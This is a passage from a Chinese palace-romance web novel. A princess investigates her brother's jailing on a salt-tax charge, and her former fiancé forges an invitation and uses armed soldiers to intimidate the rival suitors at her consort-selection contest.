可,话到了其实,他也有点编不出来了,第一次,萧景珩真心实意的拍了拍脑袋,死脑筋快想阿,在不想个能安抚眼前人儿的借口,沈知微那表情就像要吃了他去。
就在萧景珩急着找理由,沈知微瞪着他,看他能编出什么谎话的时候。
门口传来宫监唱喏的声音。
“皇后娘娘驾到!”
沈知微有些奇了,母后这些天偶尔也会来看沈知微,但也不是这个点阿,这时候可是大清早,各宫妃嫔还要去拜谒母后,给母后请安呢。
沈知微刚转过头想向门口走去。
却不想皇后温静徽急急的就走了进来,向来注意仪表的她此刻一身衣袍上的禁步环佩叮当作响。
“阿曜,微儿,不好了,阿翎他、他下诏狱了!”
20. 狱劫
“母后别急,喝口茶先,春桃,速去泡茶。”
沈知微心里也急得如火撩一般,但看见母后慌乱的样子,也只能强壮镇定。
温静徽素来最重仪表,此刻却连头上的金凤钗都缠乱,眼角的胭脂也被细密的汗珠晕开来一道线,活像裂了缝的玉瓷娃娃一般。
“今早上朝,户部突然告发阿翎贪墨江淮盐税,证据...证据确凿。你父皇大怒,当场就把他关进大牢了……”
“怎么可能?”
沈知微惊得站起身来,腕间的金铃响成一片。
“阿翎才接手几日的差事,往日都出不得京城去,说他贪墨盐税?谁会信如此谣言?”
温静徽听的此言,强撑的镇定终是溃散,紧攥沈知微的手,小声的泣道。
“满朝文武……皆知……证据确凿……”
“证据?证据何在,什么证据能定一个刚出宫没多久的皇子如此重罪?”
沈知微这下也顾不得往日给自己定下的计谋要在母后面前装乖了,她一阵见血的指出问题关键。
却见温静徽嗫嚅难言,半晌吐不出一个字来,沈知微心下立刻明了,母后向来恪守宫规,从不过问前朝事务,能知悉这些已属不易。
……终究还是得去见见父皇才行。
思及此处,沈知微看向窗外日头,心里已然有了计较。
知女莫若母,其实沈知微近日来的做派,温静徽心里也是有些怪异的,但她还是相信女儿,而且到底血亲,见的沈知微此般,心里隐隐有所察觉。
“阿曜,你、你要做什么……此时莫要去打搅你父皇,他正在盛怒,已经将好几位为你弟弟求情的臣子打入天牢了,你……你……母后已然失去一子,断不能……”
说道这儿,温静徽更是哽咽,但皇后的仪态修养却让她哭都不敢大声哭出来。
沈知微眸光微动。
她深知母亲性情柔弱,前世便未能护住他们姐弟。
可就算这样,她作为母亲却是合格无比的,待沈知微与阿翎从无偏颇,这份舐犊之情,已足以让沈知微赴汤蹈火站在她和阿翎身前了。
沈知微本就如此,爱如炽焰,燃烧自己奋不顾身,恨亦如烈火,绝不忘却。
“母后宽心,儿臣自有分晓。”
沈知微再陪着母亲说了几句安慰话后,便转身让下人送母亲回去了。
待凤驾远去,沈知微整肃衣冠,命春桃备辇。
而在暖阁中一直沉默的萧景珩突然起身。
“阿曜,我陪你一起……”
不是装傻卖娇的“姐姐”,也不是偶然调侃时的“殿下”,而是他那沉睡在沈知微记忆里的,而是记忆中那沉若深潭,令人安心的声线。。
可沈知微目光暗了暗,半晌才发出一言。
“萧少帅既然身体已无恙,不如便回府修养。春桃叫人备上马车,送少帅回去吧……”
听的此言,萧景珩,目光中暗色闪过,他明白,明白的,眼前人又要离他而去,将他推开,推的很远很远……
“臣……”
萧景珩还想再说什么。
“春桃,送客。”
沈知微转身走得干脆,只有裙角在门槛上微微停顿了一下。
——
是夜,沈知微换上一袭素色宫装,抬头望望月儿,看的是了时辰才提上食盒摆驾去了养心殿。
路上车驾摇晃之时,沈知微心中其实也有些惶惶。
因为她知晓父皇是最爱沈昭临的,这般大动肝火的下狱,必然是朝中有人干扰,而且那人的能量不小,逼得父皇需做出不留情面的处置,才能安抚朝臣。
这也是她不想让萧景珩参杂进来的原因。
一来是她对萧景珩前世对她和阿翎所作之事,始终心有芥蒂。
二来她也明白,现下的萧景珩只不过是个无关人等,……如果没有参与这些宫闱争斗,他没有去帮沈昭景的话,过些日子萧老元帅来京接他回去,大抵又能在边疆做个塞王,娶上娇妻美妾过一生逍遥日子,多好……
沈知微不自觉的看了看自己的手掌,其实在夜里,每晚每晚她也不能忘记自己在朝时为了维持国家所作的那些恶事,这双手上染着的臣子的血亦是不少。
她从不自认自己是好人,但……她一定要保护自己的家人,这是她唯一的心愿!
所以没有必要把无辜的、无关的萧景珩牵扯进来,为那未来令她生厌的昭武王承担罪孽。
车架行到正门前时,突然一顿,沈知微挑起帘儿望了过去。
好巧不巧,是送那人出宫的车马。
第一次,沈知微没有急着让马夫绕了过去,只是顿在那里看着那行车马行的人影都不见了,方才继续起驾。
……从此恩怨便尽了吧,祝君前途顺遂,生死不见……
沈知微心里默念了一句。
决绝的放下帘子,催促着马夫快些去往养心殿。
可她不知道的是,在她目力不及的地方,萧景珩也顿下马车,停在那里看着沈知微的车架上的灯火渐行渐远,直到被红墙遮蔽再看不见一点,才不得已叹息着放下车帘。
——
“公主,陛下有令……”
嘉和帝御前的少监喜子正守在门前,见得沈知微前来,面露难色的劝解道。
沈知微知道他是好意,所以声音轻柔。
“不必担心,本宫只是来送碗参汤,父皇近日操劳,做女儿的尽尽孝心罢了。”
喜子眼神动了动,叹息了一声,终是放沈知微进去了。
嘉和帝伏在案前批阅奏折,眉间皱纹比往日更深,听到脚步声,语气疲惫道。
“朕说了不见任何人。”
“父皇连女儿都不见么……”
“微儿……你也是来为阿翎求情的么……”
听到沈知微的声音,嘉和帝抬起眉眼,先是欣喜,但却立刻化为叹息,然后深邃的沈知微都看不明白自己的父亲在想些什么。
“国有国法,女儿知道父亲的难处。”
沈知微将参汤放在案上,瞥见奏折上“盐税”、“铅银”等字眼,心头一紧。
“父皇保重龙体便好。”
她知道嘉和帝不仅是自己的父皇,也是天下的皇帝,天下的仪表。有些事儿她能提,有些事儿她不能提只能等父皇说,这便是父女也是君臣,有亲情,可也有礼法,不得越过。
“呵……朕这几个孩
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子里,就数你最像朕年轻时的性子。”
嘉和帝看了看沈知微拿起汤碗一饮而尽,豪迈之气倒是打消了几许缠在他眉间的忧愁。
许是心情轻松了一些,沈知微不问,嘉和帝也开始慢慢说起了事件。
“微儿,此事没你想的那么简单……八十万阿,整整八十万,这数目小一些,朕都能想办法遮掩,可八十万……怎么能……”
听的此言,沈知微也猛地抬头,这绝不是小数目,按国法两千两白银已经够杀头了,八十万……把沈昭临砍成碎片都不足以还上呢。
“父皇,你也知阿翎刚刚领事,平日不曾出京,八十万,他就算想贪墨,也没地儿花阿……”
“朕当然知道!”
嘉和帝突然拍案而起,痛苦不已的说道。
“这孩子太年轻了,朕让他去查盐税,是给他历练的机会。
谁知他竟被人用铅块漆银的伎俩骗了!如今八十万两税银不翼而飞,满朝文武都盯着朕如何处置!
你说的这话,你以为朕不知吗?满朝文武谁不知晓,可……可那些铅银就是从阿翎押送的银箱中查出的!户部、刑部、大理寺众目睽睽,朕若不严惩,如何服众?”
沈知微听到此,父皇的态度已经说明一切,他知阿翎无辜,却不得不给朝野一个交代。
这背后,必有一只无形的手在推动!
思虑片刻后,沈知微突然灵眸一动跪下道。
“父皇既然不方便,女儿愿意代父皇查明真相!”
“胡闹,后宫不可干政,你是公主也不可过问前朝之事,这是祖制!听见没有!”
嘉和帝听的沈知微毛遂自荐都有些心悸了,那天阿翎也是此般跑到他面前自领差事的,结果呢……
沈知微默然,只是叩头下去不发一言。
嘉和帝叹息了一口气,他知道女儿脾气倔,如自己一般,好半天才嬷嬷说出一句来。
“江淮盐运使张汝成,是齐王举荐的人。而这次弹劾阿翎最积极的,是户部侍郎周敏中——齐王妃的兄长。”
齐王?
不止是沈昭景……沈知微突然想起那天卢尚书在码头期期艾艾和那个褐袍人小声说的她和萧景珩都听不见的人名。
怪不得、怪不得……沈知微心下大动,当年边塞出事,齐王是边塞三王之一,明明可以发兵救援的,但他领了旨却迟迟未到,最后沈知微不得已诏了在南安的沈昭临去救援……
这家伙当年不是没赶到,是根本就没打算去!他和沈昭景就是一伙的,可惜自己到死都没发觉!
“……明白了吧,这事儿复杂,你万不可牵扯到前朝,……朕不能再失去一个孩子了。”
这句话里的沉痛让沈知微心头一颤。
她忽然明白,父皇将阿翎下狱,或许也是一种保护——在众目睽睽之下,诏狱反而比皇宫更安全。
但,不能不查,不得不查……
沈知微抬起头来看着父皇的愁容,一个点子突然浮现在心间。
“父皇,儿臣想……这国事,儿臣不便参与,那家事呢……比如,儿臣的良婿,既然儿臣与萧少帅的事儿,大家都知道了,儿臣年岁也不小了,请父皇许我再择贵婿!”
21. 夺鸾
御花园的凉亭中,沈知微捏着朱笔在一份卷轴上轻轻勾选。
“咚咚咚~”
几声急促的脚步声传来。
“消息放出去了?”
沈知微没有回头。
“是,公主,现在满京城都在传公主要选驸马呢,帖子已经传到各家有资格参选的公子上,呵,我听说有好多个贵公子哥,以往还是名满京华,各家贵女追着求的人儿,接到咱们公主选婿的帖子,尽在大堂激动得生生晕过去了呢~”
春桃说的脸颊儿泛红,特别是想到那些贵公子以往在人前,高傲不可方物,嘴里说着不重女色,心中只有家国大业,可她跟着宫监去发帖子的时候,没有一个在拿到能参选沈知微选婿大会,不激动的~原来也不过如此嘛,还是自家公主魅力出众呢~
沈知微却不意外,虽然她现在受到沈昭临的事情一定牵连,但嘉和帝的态度已然放出来了,不论沈昭临如何,沈知微都是嘉和帝的掌上明珠,嘉和帝定然要保沈知微的。
这些王孙公子,哪个不是人精,哪个不是家学渊源,沈知微绝顶的美貌和加上背后嘉和帝的宠爱,谁都知道只要搭上这阵东风,至少自家这二三十年的富贵是定了的。
这京中公子们,可不得像那御花园里的花孔雀一般抖擞着羽毛争个高低才怪呢~
“嗯,那便下去准备吧,父皇说到时候让本宫亲自挑选,这盛会当好好做做准备,且末落了天家面子呢……”
沈知微眉眼都没抬,在她心中这不过只是计划的一小部分而已,她真正的目的一来是接触外面消息,二来是……
就在这时,春桃突然发话了。
“公主,那……是不是还要同人知会一声呢?”
“嗯?”
“就是……就是萧少帅那边,他……”
他怎么看也不想是舍得公主的阿……
春桃没敢把这话儿吐出来,犹犹豫豫的看向沈知微。
“他?你见过哪家和未婚夫断了干净,还要同他知会的?哦不对,现在是‘前’未婚夫了,他以后与我何干?”
沈知微这时才顿下笔来,秀眉一簇,抬起头来,然后嗫喏半晌,又埋头下去了呢。
——
“砰——”
萧景珩坐在大堂里,这已经是他今天捏碎的第5个杯子了,李峰在一旁看着都不敢出声,心里暗道,主子爷你再捏下去,怕是整个萧府剩不下什么杯子了……
“她怎么敢?她怎么会……”
萧景珩气的咬牙切齿,清俊的脸上难掩怒气。
他是万万没想到阿,自己前脚刚离开宫廷沈知微就急着招婿了,明明……明明两人的关系都有所回转了,可怎么会呢?
这事情发展的太快,一下子冲破了萧景珩的预料,将他满腹的算盘全打空了去。
“报——少帅——”
此时,门口亲兵的声音急急响起。
“快进来!”
萧景珩管不上什么令箭军礼,立刻叫人快些上堂来了。
“少帅,小的已经按您的意思去城里各军户家里收了一番,能收到的一共三百一十二封,都是参加选婿的帖子……”
那亲兵声音越说越小,越说越弱,手里哆嗦着把那些帖子递了上去,都不敢看萧景珩的脸,因为他知道……
“连……九品把总人家都收到这帖子……难、道、没、有、我、的、吗?”
越看,萧景珩越气,越看,他越咬牙切齿。
好家伙,他家堂堂世代玄甲军元帅,边塞三王之一,居然比不上一个把总人家……?
“我、我、我问了……”
那来复命的亲兵是个小旗,平日也算得上机灵,他按萧景珩的命令去收这些帖子的时候,就正巧撞上了其中一个送帖子的宫监,使了点银钱探了下口风。
“……据那宫监说,从宫里派了数百名宫监,把京城内有名有姓的公子家里都去了,上等人家还是陛下的贴身太监协同长公主府的春桃姑姑一起去的呢……就、好像、偏生、或许、应该没有咱们府上的……”
“什么!?我是哪里比不上那些、那些……”
萧景珩气的直接跳了起来将手里的帖子全扔在了地上,他可一封封,一字字全看了个清楚,什么把总、千户,连连最低的从九品试百户都有,哪些满脸横肉,书都没读过几篇的莽夫野人,也能去?他偏偏没有……???
“传令府上下,备马,披甲!”
萧景珩忍着怒气吩咐道,今天这选婿,他是要去,一定要去的,管她沈知微发没发给他帖子!
“少帅!您伤还没好全呢!”
李峰眼看着萧景珩把铠甲往身上套,急得直跺脚,他看萧景珩这副模样怕是又得把好不容易结痂的伤口得撑开了。
“呵,伤口?你说什么?我告诉你,就算本帅顶着满脸的疤,也比这些歪瓜裂枣强上百倍!她怎么能看不上我,怎么能不给我发……”
越说越气,萧景珩一脚踏在那满地的烫金帖子上,此时此刻完全领会不到李峰话里的关心。
毕竟,某人现在就好比那春季的雄孔雀一样,满脑子全是把竞争对手踩到脚下的心思!
“可、可公主没给咱们府发帖阿……”
那亲兵小旗弱弱的提醒了一句。
听的此言,萧景珩,突然笑了一下,冷哼了一句“哼”!
然后长袖一抖,居然一份一模一样的烫金帖子出现在众人面前,——当然唯一不同的上面明晃晃的用金粉写的是萧景珩的大名!
……怎么这笔触有些咬牙切齿阿……
李峰看了一眼,不敢多话,立刻埋头下去。
“这……这伪造御赐……”
那亲兵小旗,到底还是没有李峰这种常年混迹在萧景珩身边的人老练,一脸震惊的出了声。
“闭嘴!没听过将在外军令有所不受吗……本帅这叫战术性文书补充!
等等!再给本帅把全城的水粉胭脂买来,再把整个京中的妆娘子全部招来!”
萧景珩一脚踹开兵器架怒道。
“阿?”
“没见本帅气色差吗?那群蠢货定然涂脂抹粉,本帅绝不能输!而且也绝不能让这种战略资源落在敌军手上去!”
……学了那么多年的兵法原来是让你这般用的吗?
李峰不敢接话,他只好埋头应诺,但只有单膝跪地的小旗看见这位大人埋下头时,嘴角都快笑裂到耳朵边了!
——
选婿之地,定在外面的广德王府上,这位王爷是先皇亲弟,现任嘉和帝的亲叔叔,还在世的时候,就是儿孙满堂,夫妻和睦,家庭美满的典范。
将选婿之地定在此地,足见嘉和帝对沈知微的上心了。
果
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不其然,到了选婿之时,那广德王府门口的街上车水马龙,抬眼望去全是簪缨人家。
“……真真是满眼朱紫阿,公主!”
春桃陪着沈知微坐在高台看向来应选的贵公子们,心里很是得意呢,全京城也就咱们公主能有这般魅力了~
沈知微没有搭话,目光扫过。
“春桃,那是……”
沈知微随手一指一个站在人堆里的蓝袍公子。
“哦,那是齐司酒家的公子,怎么公主您瞧上他了?”
“不,那边那个穿锦袍的是……”
“是欧阳家的九公子……他家祖父辈就是江南织造,可有钱了……”
沈知微摇摇扇儿,目光翩跹,看似漫不经意,其实早就把在场的年轻公子们观察了个遍。
刚才她开口点的几位,有两人戴了独岫玉,那是齐王领地才出产的玉石,而且制式也非京城流行的样子,更像边塞喜欢的刀剑模样,而另几个……看来是盐税案的相关人家,啧,果然不出自己所料这些家伙一半是想来撞撞自己这个“大运”的,另一半嘛……
沈知微还想再多看看,突然一队军士开来,如同银剑分开了水面,下面的那些公子哥被领头护卫的骑士逼开站到了两边。
“他……他怎么来了?不是叫不要给他家发帖子了吗?”
沈知微惊得站了起来,看向春桃。
“我、我、我没给萧少帅府上送呢!我记得一清二楚,天地可鉴!”
来人自然是萧景珩,而且排场之大,甚至还带上了他家府内的亲兵,浩浩荡荡,十分扎眼。
春桃也傻了,她记得很清楚,她可没敢给这位爷发阿,毕竟沈知微可是当着御前要退萧景珩的婚的,谁退了婚,还晕着头再去‘前’未婚夫家发帖子阿!
沈知微也管不了那么多了提起裙摆从高阁上跑了下去,冲出广德王府的大门,直奔萧景珩马前,拉住萧景珩的马头质问道。
“你来干什么?”
一双杏目,全是疑惑、不解、还有些怒意。
“选婿!”
萧景珩不慌不忙,傲气、冰冷的扬起脸,心里恨恨。
“我没发帖子给你!你没有帖子,如何选!”
“我有!”
萧景珩一甩自己那份“战术性文件”,沈知微接过连翻开都懒得翻,虽然做工精致,但她非常确定是伪造的!
“这是假的!”
萧景珩挥挥手,叫手下把那三百多封帖子运了上来倒在沈知微面前,上面都用朱笔将原本得帖子人的名字全部划掉,贴上他萧景珩本人的大名。
萧景珩骑着马碾过那些被划去的名字,每一步都像踩在沈知微心尖上。
“现在呢,够不够真?”
沈知微呼吸都窒住了。
这个前几日还躺在暖阁,傻笑着哄她,说些为她摘星星摘月亮的傻话的家伙,此刻竟像头被激怒的狼,连眼尾那道疤都透着狠劲。
“你……你无耻!我不准你选!”
她声音发颤,第一次在这人身上感受这般的威压,但沈知微到底还是沈知微,她稳住心神倔强地昂起头。
萧景珩突然勒马逼近,铁甲撞得她踉跄后退。他一把扣住她后颈强迫她抬头,鼻尖几乎相触。
他低哑的嗓音裹着滔天怒意。
“沈知微,我、偏、要、选!”
22. 峙焰
沈知微显然也是被点着了,前世被萧景珩将阿翎的尸体丢入怀中,沈知微尚能怒视着瞪回去,……今世这般场面,不过小儿科而已!
沈知微仰起头,一双妙目,怒火中烧的瞪了回去。
马上弯腰低头的萧景珩见的这一幕,笑了。
是的,他笑了。
不是冷笑,不是讥笑,而是一种近乎炙热、带着野性的笑意,从眼底灼烧上来,连带着眼尾那道疤一起微微扬起。
很好,沈知微,你果然还是这般!
萧景珩目中余光扫过,但见,这满京城簪缨朱袍的公子哥们,见了他带来的玄甲精兵,哪个不是吓得脸色煞白,两股战战?刚才见着自家军马的马头连连吓得跌倒在地,手脚并用爬开的也是不少……还有那些往日自诩文采风流,堪比李杜的才子,此刻连头都不敢抬。
他们怕,都怕,只要萧景珩一个眼神过去,就仿佛被恶狼盯上一般,生生刮了一身皮。
可唯有沈知微,只有沈知微,敢这般直勾勾的瞪回来,眸中烧地火比他最好的宝剑还亮丽!
对,这才对!
他萧景珩的妻子,就该是这样的人——不畏他的权势、不畏他的刀兵,甚至敢在千军万马前与他针锋相对!那些娇滴滴的闺秀算什么?那些见了他就腿软的贵女算什么?天下女子万千,只有沈知微,唯有沈知微,配站在他身侧,配做玄甲军主母!
萧景珩不自觉舔舔唇,眼中的野性喷涌而出,他抬手,指尖蹭过沈知微因为怒意而发红的眼角,低笑一声道。
“知不知道你这副模样,比全天下女子加起来都好看?”
烈性如火,傲骨铮铮,此般女子,当为他妻!
但此时此刻,沈知微并不这么想。
在满堂贵胄惊骇的目光中,在玄甲兵寒芒闪烁的刀光里,她毫不犹豫地扬手——五指纤纤却力道十足,带着天家贵女的傲气,正准备往萧景珩的脸上扇去!
“哎哟,两位贵人,罢了罢了,这么一闹,咱家怎么给陛下交代了!”
此时,一个尖利的声音响起,伴随着一阵小碎步的声音跑来一个人影,那正是嘉和帝身边的贴身太监——小德赵呢!
这次选婿,嘉和帝自身无法前来,他正陷入那盐税案的漩涡里,一边想保全沈昭临,拖延审判时间,一边又不能做的太明显,焦头烂额,但为了支持沈知微才把自己的贴身太监派了来,以示重视。
小德赵自然也是明了,这般大事交代到他身上,肯定要做的漂亮,可这眼前,京华里最贵重的两位居然就要在广德王府大门前开片儿了,这让他怎么给皇上交代?
他慌忙拉住沈知微快扇上去的巴掌,抵住萧景珩那快啃上沈知微脖颈的脑袋,把这两位贵人好说歹说的分开,劝道。
“公主,这选婿也是讲究吉时的,这、这少帅想参加就让他参加不就行了吗?陛下可是全权将选婿的权儿交到您手上了,您只挑合心的就是了,您看是不是这个理儿,少帅您看是不是~~”
这话看似说的公允,但话里话外全都是偏着沈知微的,沈知微听的,目中的怒火方才消下去,但脸上却是结了层霜般的回过头,带着春桃回府了去,只留下一句。
“但听公公安排。”
那边萧景珩仰起头来坐直身子,也向小德赵抱拳敬谢了一下,随即整备银甲礼袍,翻身下马,大踏步跟着沈知微的脚步就走入府内去。
而,那些王孙公子、才子将帅,直到两人都进去了好半天没敢动脚。
半晌才有人回过神来。
“真可怕阿,萧帅,好似要吃了人一般……”
“嘶,我看阿,我看阿,要不回去算了?”
“回去?你傻了你回去,没看见长公主对萧帅不理不睬吗?反正是长公主选,咱们要是被她看上了荣华富贵享之不尽,至于萧景珩,哼~”
“可是……可是哪有带着‘前’未婚夫选新未婚夫的阿……”
这句话,像是冰水浇在火焰上,一下子大家都沉默了,这带着‘前’未婚夫挑新未婚夫,不说后无来者,至少算的上前无古人,以后说不定还能被人写进演义里千古流传呢!
————
但,重赏之下,到底是必有勇夫。
这群贵胄公子、才子将帅犹豫了片刻,还是鱼贯般进的广德王府的选婿现场,看向高台,顿时又愣住了。
只见那高台上,中间放着红木椅沈知微冷如冰霜的端坐在上,身边带着春桃、小德赵,还有一群宫人,而旁边……萧景珩不知道从哪儿也找了把椅子,带着一身精甲的精兵坐在一旁,手里还把玩着不知哪儿寻来的铁核桃。
气氛诡异至极。
胆小的公子哥甚至有几个都不禁缩了缩脖子。
沈知微当然也觉得现场气氛怪谲,但她皱着眉扫过萧景珩的时候,只见那厮没皮没脸的笑着,手里的核桃把玩的响亮之极,丝毫不觉得自己是多余的,反而察觉道沈知微的目光,还能微笑着向她眨眨眼。
……真是无耻!这脸皮比那城墙拐弯还能厚上一些!
沈知微心里冷哼一声,索性难得管萧景珩了,向小德赵点点头,示意选婿开始。
小德赵往前站了一步。
“选婿大会,第一场开始,诗文比拼,各位公子皆是才华横溢,饱读诗书之人,今日便以‘相思’为题,赋诗一首,予公主做评鉴!”
小德赵,话音刚落,一名锦袍公子看了看台上的萧景珩,吞了吞唾沫,但又看了看沈知微绝美的容颜,最终他鼓起勇气,往前迈了一步。
还没张嘴,却先有一声——
“咔嚓!”
众公子齐齐循声望去,那是萧景珩手里把玩的一个核桃,被、他、捏、碎了!但那可是铁的!铁的阿!
那名迈出脚步的公子立刻呆住了,其他没上前的公子,齐齐往后退了一步!
“继续!站上这台,便要吟诗,否则便是欺君!”
这时,沈知微冷若冰霜的声儿响起来了,但她根本没看那个锦袍公子,目光死死的盯着萧景珩,似乎打算用眼神告诉这厮不要捣乱,但这次萧景珩,知道沈知微在看他,他没回过脸,一双狼目紧紧的盯着下面准备吟诗的公子说道。
“公主的话,没听到吗?”
——这那是“相思”阿,这是“想死”!
那公子此刻退也不是,进也不是,只能哭丧着脸,颤抖着。
“曾……曾经……沧海难为水……”
“除却巫山不是云?那本帅问你,公主是沧海还是巫山?”
沈知微还没开口,萧景珩冷笑出声,那语气根本不是提问,好似审问罪大恶极的死囚一般。
那公子脸色都吓白,支支吾吾吐不出半个字来。
“拿元稹悼念亡妻的诗句跟公主表白?是嫌天家刀慢了,还是我……”
萧景珩没说下去,嘴角挂着的冷笑,已经把他的心思出卖了。
拿公子一下子吓得体力不支,全身筛糠一般,尽在众目睽睽下晕了过去。
高台上,沈知微眼角微抽,几不
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可闻的用眼刀死死刮了一下萧景珩,然后将手里的团扇“啪”的按在桌子上,冷然道。
“继续……”
那气势,一点不弱于萧景珩。
在场的公子哥们,都吓傻了,这那是选婿阿,这是修罗场阿。
可重压之下,总的有人上,突然一个蓝袍的人儿从人堆里冒了出来,……不对,仔细看他似乎是被众人推出来的。
春桃见的,轻笑了一下。
“公主,这位可是名满京华的柳大才子,据说他的一句诗阿,全京城的女儿都要高价买呢,特别是那些秦楼楚馆,若是能最先唱上他的诗,当天就能火遍全京城呢!”
沈知微没说话,方才将目光从萧景珩身上移到那台上去。
那柳大才子刚刚站定看向高台,沈知微绝美的容颜和清冷的气质宛若天女下凡,他虽是出惯了声色犬马之地,但此般绝色,从未多见,只见柳大才子不仅咽了咽唾沫,可他刚打算开口。
“咔嚓!”
那铁核桃的爆裂声又再次传来,吓得那柳才子和在场所有公子齐齐缩了缩脖子。
众人心中叫苦不迭。
这长公主自然是极好的——容貌倾城,身份尊贵,若能得她青睐,怕是祖坟都要冒青烟。可偏偏……偏偏她身边盘着这么一头恶狼!
那萧景珩往那一坐,玄甲森寒,目光如刀,活像阎王殿里的判官,谁要是敢多看公主一眼,怕是要被生吞活剥了去。
“柳大才子怎么不念呢?本帅还等着欣赏‘您’的佳作呢!”
萧景珩言笑彦彦,语气温柔,但在“您”这个字加重的重音,所有人都听出来其中的不怀好意!
“两、两情若是久长时……”
柳大才子,头冒冷汗,可事到如今只能硬着头皮上了,但他刚念完上句,下句还没开口呢。
“又岂在朝朝暮暮?柳大才子,这是暗示公主不必日日相见,好让你有时间去那秦楼楚馆寻欢作乐是吧!?”
“不不不……不是……”
柳大才子吓得双腿一软,瘫坐在地,哭丧着脸连连摆手。
“拿秦观的诗来糊弄公主?看来柳公子很懂‘朝朝暮暮’的意味阿!”
萧景珩哪肯放过眼前的人,他双目妒火中烧,在他眼里,这帮人踏入广德王府的那一刻都是他的死敌,对仇敌斩草除根,可是他从小学的兵法里教的!
“够了!”
沈知微站起身来,她看向下面那帮公子,萧景珩再怎么闹下去,怕是没人敢上来作诗了,她怎么都得让这家伙懂懂规矩。
“萧少帅不也是来选婿的吗?不如你来做做,让本宫看看你的文采!”
沈知微扫了一眼萧景珩,她目光里的不善清晰可见。
既然萧景珩要这般吹毛求疵,她也不介意按萧景珩的“标准”为难一下萧景珩。
萧景珩对上沈知微的目光,忽地轻笑了起来,大声道。
“正合我意,拿纸笔来!”
很快下方的擂台上,就有人端来桌案,摆好宣纸。
萧景珩一拍栏杆,从高台上纵身一跃下去,披在银甲外侧的黑色礼袍猎猎,如在半空中开着的莲花,端是华贵无比。
他落到地上,大步向案台走去,周身气度宛如猛虎行于山林之间,其余贵公子亦如那山中小兽见的萧景珩连连退却。
提笔,蘸墨!
狼毫饱蘸墨色,在宣纸上重重一顿,墨色如刀锋一般划开宣纸。
“写好了,呈上去给公主评鉴吧!”
23. 折玉
23
听的萧景珩如此言说,那小德赵自然忙不迭下的高台,去捧那墨宝。
可是刚得靠近,一向机灵圆滑的内侍头领却呆住了,只见他捧着那墨迹淋漓的墨宝,活像是捧着一句染血的刀具,双手颤抖的像打了霜的鹌鹑似的。
台下其他公子哥见的小德赵这番模样,自然止不住好奇之心,但,当他们上前。
……嘶!
不知谁一口冷气抽起,紧接着整个擂台上死一般的寂静。
甚至还有几个素来自称勇武的将门公子都脸色苍白,连连退却。
“念!”
沈知微站在高台,红衣似火,她一拍栏杆,恰有清风挽过,吹起裙摆,宛如一只展翅的凤凰一般,那气度竟比嘉和帝也不遑多让几分!
小德赵显然是吓住了,他吞了吞唾沫,哭丧着脸的开口道。
“谁、谁折琼枝赠美人……”
可,那诗歌实在威力太大,小德赵刚念了一句,救哆哆嗦嗦像被扼住了喉咙般不敢再继续了。
“继续!”
但,沈知微的威压也不是小的,她凤眸一瞪,身上的红衣如烈火般要烧着一般。
真真是两个冤家阿!罢了,罢了,死就死吧!
小德赵哭丧着脸,干脆一闭眼豁了出去,倒豆子一般的吐了出来。
“我便折谁骨作尘!
相思若敢染她袖,十万龙鳞出鞘声!”
“哐当!”
最后一字余音未散,礼部侍郎家的公子直接栽进了香案,带翻的青铜烛台砸在太常寺少卿脚背上。
其他公子更不消说,满座朱紫齐齐被这诗儿吓的出了魂。
毕竟,这哪里是诗歌阿,这分明是战书,是警告!
萧景珩明晃晃的“威胁”阿!
沈知微怒极反笑,一双凤眸,直直盯着台下那个“罪魁祸首”。
萧景珩也不必,微微张了张口,用只有他们两人知晓的唇语,开口道。
【满、意、吗?】
这是挑衅!
“萧景珩!”
沈知微气急,大吼出他的名字来,沈知微自认涵养很好,可是每每遇见这人,她总是失了分寸!
就这样,两人一上一下,一高一低,一怒一笑,生生僵持在原地。
满座朱紫居然没一人敢发出声音。
——
静!
不对,是死寂!
风刮过广德王府的青砖的声儿都能听的一清二楚。
良久,终于有人带着哭音,颤颤巍巍的说道。
“公、公主,咱们还、还、还比么?”
众人循着声儿望去,那是小德赵!
好一个内侍总管,总是见过大风大浪的人,在这阎王殿加修罗场的氛围里,唯有他一人敢出的声儿,……嗯,虽然都快吓哭了。
“比,怎么不比?”
沈知微自然不服输,她能被萧景珩吓到?那岂不是说明她落了下乘,沈知微心里现在就有一团火儿,输了谁也不能输萧景珩!
“公公,说说,下一场比什么,天下才俊,还有谁,敢与本帅争这驸马!?”
萧景珩一甩礼袍,手下精兵立刻端来椅子,让他坐下。
“……是比武……”
小德赵眼角刚扫到了单据上的排序,声儿立刻弱了下去。
毕竟,眼前这情况只要有眼睛的人……
“哈!”
萧景珩轻笑出声。
清霜应声出鞘,插在地上。
而同时,他身后跟着的数十名玄甲精兵,应声也拔刀出鞘了。
只见——数十柄玄甲军制式马刀同时出鞘。秋阳在刃口上炸开刺目的光斑,将整个庭院照得如同雪洞。
“现在,还有那位……”
萧景珩擦拭着自己的宝剑,似笑非笑的扫过眼前众人。
“碰!”
西侧看台突然传来重物坠地声。
众人回头,只见兵部侍郎家的公子瘫坐在地上,打翻的茶盏正在他月白锦袍上洇开大片茶渍。
而他身旁的慧侯世子更是不堪,竟将手里的青铜剑鞘都捏变了形。
……这两位可都有勇武盖世的美名阿!
其余的贵公子自更不用说,几乎是哭惨惨的僵在原地,他们走,算的上是欺君,不走,那萧景珩手里明晃晃的宝剑……
——
见的众人这般模样。
“……罢了……”
沈知微站在高台上,凤眸扫过台下,她深吸了几口气。
直是被萧景珩气的失了分寸……
这选婿再让这家伙折腾下去,怕是会变成一场闹剧。
她还要救阿翎呢!
沈知微不愧是沈知微很快就恢复了冷静。
她招招手将春桃叫道身边详细交代了几句,春桃听的明白,应诺之后走上前去,朗声道。
“诸位公子文才武功,公主已然看的清楚了,现挑选20名合公主意的进入暖阁内,再与公主详谈志趣报复,其余的诸位公子便可还家去了!”
接着,春桃便一一报出了沈知微挑选的人儿。
当然,没有萧景珩!
沈知微看向台下,冷笑了一下,你就算吓得他们又怎么样?
选择权还是在本宫?
让你晾在外面,你还得晾在外面呢!
沈知微绣裙一转,只留了个白眼给萧景珩,便打算下的楼梯去往暖阁去。
萧景珩看了一眼,闭了闭目,弹起身来,招了招手,做了待命的姿势,让他带的精兵伺立在庭院里,而后翻身一跃尽跟着沈知微的脚步进了楼梯间去。
——
楼梯间内。
春桃和宫人去准备沈知微交代的东西去了,其余公子也不是走的这一条路,于是,便只有沈知微和萧景珩两人。
“你……想做什么?”
沈知微没回头,已然听到萧景珩铁甲摩擦的金铁之声,她倒不怕,毕竟这么多人见的萧景珩跟了过来,想来也发生不了什么事情。
